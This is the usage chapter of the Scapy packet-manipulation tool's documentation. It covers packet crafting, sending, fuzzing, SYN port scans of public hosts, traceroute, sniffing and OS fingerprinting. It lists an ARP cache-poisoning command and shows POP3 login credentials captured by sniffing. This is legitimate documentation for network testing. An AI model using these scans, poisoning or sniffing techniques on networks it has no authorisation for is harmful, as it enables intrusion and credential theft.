1***** 2Usage 3***** 4 5Starting Scapy 6============== 7 8Scapy's interactive shell is run in a terminal session. Root privileges are needed to 9send the packets, so we're using ``sudo`` here:: 10 11 $ sudo scapy 12 Welcome to Scapy (2.0.1-dev) 13 >>> 14 15On Windows, please open a command prompt (``cmd.exe``) and make sure that you have 16administrator privileges:: 17 18 C:\>scapy 19 INFO: No IPv6 support in kernel 20 WARNING: No route found for IPv6 destination :: (no default route?) 21 Welcome to Scapy (2.0.1-dev) 22 >>> 23 24If you do not have all optional packages installed, Scapy will inform you that 25some features will not be available:: 26 27 INFO: Can't import python gnuplot wrapper . Won't be able to plot. 28 INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). 29 30The basic features of sending and receiving packets should still work, though. 31 32Screenshot 33---------- 34 35If you have installed IPython, scapy will hook to it and you will be able to use auto-completion using the TAB. 36 37.. image:: graphics/scapy-main-console.png 38 :align: center 39 40 41Interactive tutorial 42==================== 43 44This section will show you several of Scapy's features. 45Just open a Scapy session as shown above and try the examples yourself. 46 47 48First steps 49----------- 50 51Let's build a packet and play with it:: 52 53 >>> a=IP(ttl=10) 54 >>> a 55 < IP ttl=10 |> 56 >>> a.src 57 ’127.0.0.1’ 58 >>> a.dst="192.168.1.1" 59 >>> a 60 < IP ttl=10 dst=192.168.1.1 |> 61 >>> a.src 62 ’192.168.8.14’ 63 >>> del(a.ttl) 64 >>> a 65 < IP dst=192.168.1.1 |> 66 >>> a.ttl 67 64 68 69Stacking layers 70--------------- 71 72The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer. 73 74:: 75 76 >>> IP() 77 <IP |> 78 >>> IP()/TCP() 79 <IP frag=0 proto=TCP |<TCP |>> 80 >>> Ether()/IP()/TCP() 81 <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>> 82 >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" 83 <IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>> 84 >>> Ether()/IP()/IP()/UDP() 85 <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>> 86 >>> IP(proto=55)/TCP() 87 <IP frag=0 proto=55 |<TCP |>> 88 89 90.. image:: graphics/fieldsmanagement.png 91 :scale: 90 92 93Each packet can be build or dissected (note: in Python ``_`` (underscore) is the latest result):: 94 95 >>> raw(IP()) 96 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' 97 >>> IP(_) 98 <IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP 99 chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |> 100 >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" 101 >>> hexdump(a) 102 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 103 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# 104 FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. 105 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 106 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 107 0A . 108 >>> b=raw(a) 109 >>> b 110 '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 111 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 112 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' 113 >>> c=Ether(b) 114 >>> c 115 <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L 116 ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c 117 src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L 118 ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0 119 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>> 120 121We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:: 122 123 >>> c.hide_defaults() 124 >>> c 125 <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67 126 frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L 127 chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>> 128 129Reading PCAP files 130------------------ 131 132.. index:: 133 single: rdpcap() 134 135You can read packets from a pcap file and write them to a pcap file. 136 137 >>> a=rdpcap("/spare/captures/isakmp.cap") 138 >>> a 139 <isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0> 140 141Graphical dumps (PDF, PS) 142------------------------- 143 144.. index:: 145 single: pdfdump(), psdump() 146 147If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):: 148 149 >>> a[423].pdfdump(layer_shift=1) 150 >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1) 151 152.. image:: graphics/isakmp_dump.png 153 154 155 156======================= ==================================================== 157Command Effect 158======================= ==================================================== 159raw(pkt) assemble the packet 160hexdump(pkt) have an hexadecimal dump 161ls(pkt) have the list of fields values 162pkt.summary() for a one-line summary 163pkt.show() for a developed view of the packet 164pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance) 165pkt.sprintf() fills a format string with fields values of the packet 166pkt.decode_payload_as() changes the way the payload is decoded 167pkt.psdump() draws a PostScript diagram with explained dissection 168pkt.pdfdump() draws a PDF with explained dissection 169pkt.command() return a Scapy command that can generate the packet 170======================= ==================================================== 171 172 173 174Generating sets of packets 175-------------------------- 176 177For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly define a set of packets, generated using a kind of cartesian product between all the fields. 178 179:: 180 181 >>> a=IP(dst="www.slashdot.org/30") 182 >>> a 183 <IP dst=Net('www.slashdot.org/30') |> 184 >>> [p for p in a] 185 [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>, 186 <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>] 187 >>> b=IP(ttl=[1,2,(5,9)]) 188 >>> b 189 <IP ttl=[1, 2, (5, 9)] |> 190 >>> [p for p in b] 191 [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>, 192 <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>] 193 >>> c=TCP(dport=[80,443]) 194 >>> [p for p in a/c] 195 [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>, 196 <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>, 197 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>, 198 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>, 199 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>, 200 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>, 201 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>, 202 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>] 203 204Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet. 205 206=============== ==================================================== 207Command Effect 208=============== ==================================================== 209summary() displays a list of summaries of each packet 210nsummary() same as previous, with the packet number 211conversations() displays a graph of conversations 212show() displays the preferred representation (usually nsummary()) 213filter() returns a packet list filtered with a lambda function 214hexdump() returns a hexdump of all packets 215hexraw() returns a hexdump of the Raw layer of all packets 216padding() returns a hexdump of packets with padding 217nzpadding() returns a hexdump of packets with non-zero padding 218plot() plots a lambda function applied to the packet list 219make table() displays a table according to a lambda function 220=============== ==================================================== 221 222 223 224Sending packets 225--------------- 226 227.. index:: 228 single: Sending packets, send 229 230Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter. 231 232:: 233 234 >>> send(IP(dst="1.2.3.4")/ICMP()) 235 . 236 Sent 1 packets. 237 >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") 238 .... 239 Sent 4 packets. 240 >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) 241 ................^C 242 Sent 16 packets. 243 >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay 244 ........... 245 Sent 11 packets. 246 247 Returns packets sent by send() 248 >>> send(IP(dst='127.0.0.1'), return_packets=True) 249 . 250 Sent 1 packets. 251 <PacketList: TCP:0 UDP:0 ICMP:0 Other:1> 252 253 254Fuzzing 255------- 256 257.. index:: 258 single: fuzz(), fuzzing 259 260The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quickly built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won't be random so in order to do that use RandIP().:: 261 262 >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) 263 ................^C 264 Sent 16 packets. 265 266 267Send and receive packets (sr) 268----------------------------- 269 270.. index:: 271 single: sr() 272 273Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is, no response a None value will be assigned instead when the timeout is reached. 274 275:: 276 277 >>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") 278 Begin emission: 279 ...Finished to send 1 packets. 280 .* 281 Received 5 packets, got 1 answers, remaining 0 packets 282 >>> p 283 <IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP 284 chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply 285 code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX' 286 |<Padding load='\x00\x00\x00\x00' |>>>> 287 >>> p.show() 288 ---[ IP ]--- 289 version = 4L 290 ihl = 5L 291 tos = 0x0 292 len = 39 293 id = 15489 294 flags = 295 frag = 0L 296 ttl = 42 297 proto = ICMP 298 chksum = 0x51dd 299 src = 66.35.250.151 300 dst = 192.168.5.21 301 options = '' 302 ---[ ICMP ]--- 303 type = echo-reply 304 code = 0 305 chksum = 0xee45 306 id = 0x0 307 seq = 0x0 308 ---[ Raw ]--- 309 load = 'XXXXXXXXXXX' 310 ---[ Padding ]--- 311 load = '\x00\x00\x00\x00' 312 313 314.. index:: 315 single: DNS, Etherleak 316 317A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:: 318 319 >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) 320 Begin emission: 321 Finished to send 1 packets. 322 ..* 323 Received 3 packets, got 1 answers, remaining 0 packets 324 <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38 325 src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d 326 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1 327 nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |> 328 an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |> 329 ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>> 330 331The "send'n'receive" functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:: 332 333 >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) 334 Received 6 packets, got 3 answers, remaining 0 packets 335 (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>) 336 >>> ans, unans = _ 337 >>> ans.summary() 338 IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding 339 IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding 340 IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding 341 342If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:: 343 344 >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) 345 Begin emission: 346 Finished to send 12 packets. 347 Begin emission: 348 Finished to send 9 packets. 349 Begin emission: 350 Finished to send 9 packets. 351 352 Received 100 packets, got 3 answers, remaining 9 packets 353 (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>) 354 355 356SYN Scans 357--------- 358 359.. index:: 360 single: SYN Scan 361 362Classic SYN Scan can be initialized by executing the following command from Scapy's prompt:: 363 364 >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S")) 365 366The above will send a single SYN packet to Google's port 80 and will quit after receiving a single response:: 367 368 Begin emission: 369 .Finished to send 1 packets. 370 * 371 Received 2 packets, got 1 answers, remaining 0 packets 372 <IP version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244 373 proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// | 374 <TCP sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L 375 flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] | 376 <Padding load='V\xf7' |>>> 377 378From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port. 379 380Use either notations to scan ports 400 through 443 on the system: 381 382 >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S")) 383 384or 385 386 >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S")) 387 388In order to quickly review responses simply request a summary of collected packets:: 389 390 >>> ans, unans = _ 391 >>> ans.summary() 392 IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding 393 IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding 394 IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding 395 IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding 396 397The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop: 398 399 >>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") ) 400 440 RA 401 441 RA 402 442 RA 403 https SA 404 405Even better, a table can be built using the ``make_table()`` function to display information about multiple targets:: 406 407 >>> ans, unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S")) 408 Begin emission: 409 .......*.**.......Finished to send 9 packets. 410 **.*.*..*.................. 411 Received 362 packets, got 8 answers, remaining 1 packets 412 >>> ans.make_table( 413 ... lambda(s,r): (s.dst, s.dport, 414 ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))) 415 66.35.250.150 192.168.1.1 216.109.112.135 416 22 66.35.250.150 - dest-unreach RA - 417 80 SA RA SA 418 443 SA SA SA 419 420The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP. 421 422For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:: 423 424 >>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA") 425 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA 426 427In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:: 428 429 >>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open")) 430 https is open 431 432Again, for larger scans we can build a table of open ports:: 433 434 >>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r): 435 ... (s.dst, s.dport, "X")) 436 66.35.250.150 192.168.1.1 216.109.112.135 437 80 X - X 438 443 X X X 439 440If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:: 441 442 >>> report_ports("192.168.1.1",(440,443)) 443 Begin emission: 444 ...*.**Finished to send 4 packets. 445 * 446 Received 8 packets, got 4 answers, remaining 0 packets 447 '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440 448 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & 449 TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n' 450 451 452TCP traceroute 453-------------- 454 455.. index:: 456 single: Traceroute 457 458A TCP traceroute:: 459 460 >>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) 461 *****.******.*.***..*.**Finished to send 22 packets. 462 ***...... 463 Received 33 packets, got 21 answers, remaining 1 packets 464 >>> for snd,rcv in ans: 465 ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP) 466 ... 467 5 194.51.159.65 0 468 6 194.51.159.49 0 469 4 194.250.107.181 0 470 7 193.251.126.34 0 471 8 193.251.126.154 0 472 9 193.251.241.89 0 473 10 193.251.241.110 0 474 11 193.251.241.173 0 475 13 208.172.251.165 0 476 12 193.251.241.173 0 477 14 208.172.251.165 0 478 15 206.24.226.99 0 479 16 206.24.238.34 0 480 17 173.109.66.90 0 481 18 173.109.88.218 0 482 19 173.29.39.101 1 483 20 173.29.39.101 1 484 21 173.29.39.101 1 485 22 173.29.39.101 1 486 23 173.29.39.101 1 487 24 173.29.39.101 1 488 489Note that the TCP traceroute and some other high-level functions are already coded:: 490 491 >>> lsc() 492 sr : Send and receive packets at layer 3 493 sr1 : Send packets at layer 3 and return only the first answer 494 srp : Send and receive packets at layer 2 495 srp1 : Send and receive packets at layer 2 and return only the first answer 496 srloop : Send a packet at layer 3 in loop and print the answer each time 497 srploop : Send a packet at layer 2 in loop and print the answer each time 498 sniff : Sniff packets 499 p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? 500 arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple 501 send : Send packets at layer 3 502 sendp : Send packets at layer 2 503 traceroute : Instant TCP traceroute 504 arping : Send ARP who-has requests to determine which hosts are up 505 ls : List available layers, or infos on a given layer 506 lsc : List user commands 507 queso : Queso OS fingerprinting 508 nmap_fp : nmap fingerprinting 509 report_ports : portscan a target and output a LaTeX table 510 dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" 511 dyndns_del : Send a DNS delete message to a nameserver for "name" 512 [...] 513 514Configuring super sockets 515------------------------- 516 517.. index:: 518 single: super socket 519 520The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don't guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I've just added a super socket which use libdnet and libpcap, so that it should be portable:: 521 522 >>> conf.L3socket=L3dnetSocket 523 >>> conf.L3listen=L3pcapListenSocket 524 525Sniffing 526-------- 527 528.. index:: 529 single: sniff() 530 531We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on every interface:: 532 533 >>> sniff(filter="icmp and host 66.35.250.151", count=2) 534 <Sniffed: UDP:0 TCP:0 ICMP:2 Other:0> 535 >>> a=_ 536 >>> a.nsummary() 537 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 538 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 539 >>> a[1] 540 <Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L 541 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831 542 src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0 543 chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b 544 \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d 545 \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>> 546 >>> sniff(iface="wifi0", prn=lambda x: x.summary()) 547 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 548 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 549 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 550 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 551 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 552 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 553 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication 554 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication 555 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 556 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 557 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 558 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 559 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding 560 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding 561 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw 562 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw 563 >>> sniff(iface="eth1", prn=lambda x: x.show()) 564 ---[ Ethernet ]--- 565 dst = 00:ae:f3:52:aa:d1 566 src = 00:02:15:37:a2:44 567 type = 0x800 568 ---[ IP ]--- 569 version = 4L 570 ihl = 5L 571 tos = 0x0 572 len = 84 573 id = 0 574 flags = DF 575 frag = 0L 576 ttl = 64 577 proto = ICMP 578 chksum = 0x3831 579 src = 192.168.5.21 580 dst = 66.35.250.151 581 options = '' 582 ---[ ICMP ]--- 583 type = echo-request 584 code = 0 585 chksum = 0x89d9 586 id = 0xc245 587 seq = 0x0 588 ---[ Raw ]--- 589 load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' 590 ---[ Ethernet ]--- 591 dst = 00:02:15:37:a2:44 592 src = 00:ae:f3:52:aa:d1 593 type = 0x800 594 ---[ IP ]--- 595 version = 4L 596 ihl = 5L 597 tos = 0x0 598 len = 84 599 id = 2070 600 flags = 601 frag = 0L 602 ttl = 42 603 proto = ICMP 604 chksum = 0x861b 605 src = 66.35.250.151 606 dst = 192.168.5.21 607 options = '' 608 ---[ ICMP ]--- 609 type = echo-reply 610 code = 0 611 chksum = 0x91d9 612 id = 0xc245 613 seq = 0x0 614 ---[ Raw ]--- 615 load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' 616 ---[ Padding ]--- 617 load = '\n_\x00\x0b' 618 >>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary()) 619 eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw 620 eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw 621 eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw 622 eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw 623 624For even more control over displayed information we can use the ``sprintf()`` function:: 625 626 >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) 627 192.168.1.100 -> 64.233.167.99 628 629 64.233.167.99 -> 192.168.1.100 630 631 192.168.1.100 -> 64.233.167.99 632 633 192.168.1.100 -> 64.233.167.99 634 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 635 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) 636 Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml, 637 text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: 638 en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: 639 ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: 640 keep-alive\r\nCache-Control: max-age=0\r\n\r\n' 641 642We can sniff and do passive OS fingerprinting:: 643 644 >>> p 645 <Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L 646 ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e 647 src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80 648 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840 649 chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460), 650 ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>> 651 >>> load_module("p0f") 652 >>> p0f(p) 653 (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) 654 >>> a=sniff(prn=prnp0f) 655 (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) 656 (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) 657 (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) 658 (1.0, ['Windows 2000 (9)']) 659 660The number before the OS guess is the accuracy of the guess. 661 662Filters 663------- 664 665.. index:: 666 single: filter, sprintf() 667 668Demo of both bpf filter and sprintf() method:: 669 670 >>> a=sniff(filter="tcp and ( port 25 or port 110 )", 671 prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) 672 192.168.8.10:47226 -> 213.228.0.14:110 S : 673 213.228.0.14:110 -> 192.168.8.10:47226 SA : 674 192.168.8.10:47226 -> 213.228.0.14:110 A : 675 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> 676 677 192.168.8.10:47226 -> 213.228.0.14:110 A : 678 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto 679 680 213.228.0.14:110 -> 192.168.8.10:47226 A : 681 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK 682 683 192.168.8.10:47226 -> 213.228.0.14:110 A : 684 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata 685 686 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed 687 688 192.168.8.10:47226 -> 213.228.0.14:110 A : 689 213.228.0.14:110 -> 192.168.8.10:47226 FA : 690 192.168.8.10:47226 -> 213.228.0.14:110 FA : 691 213.228.0.14:110 -> 192.168.8.10:47226 A : 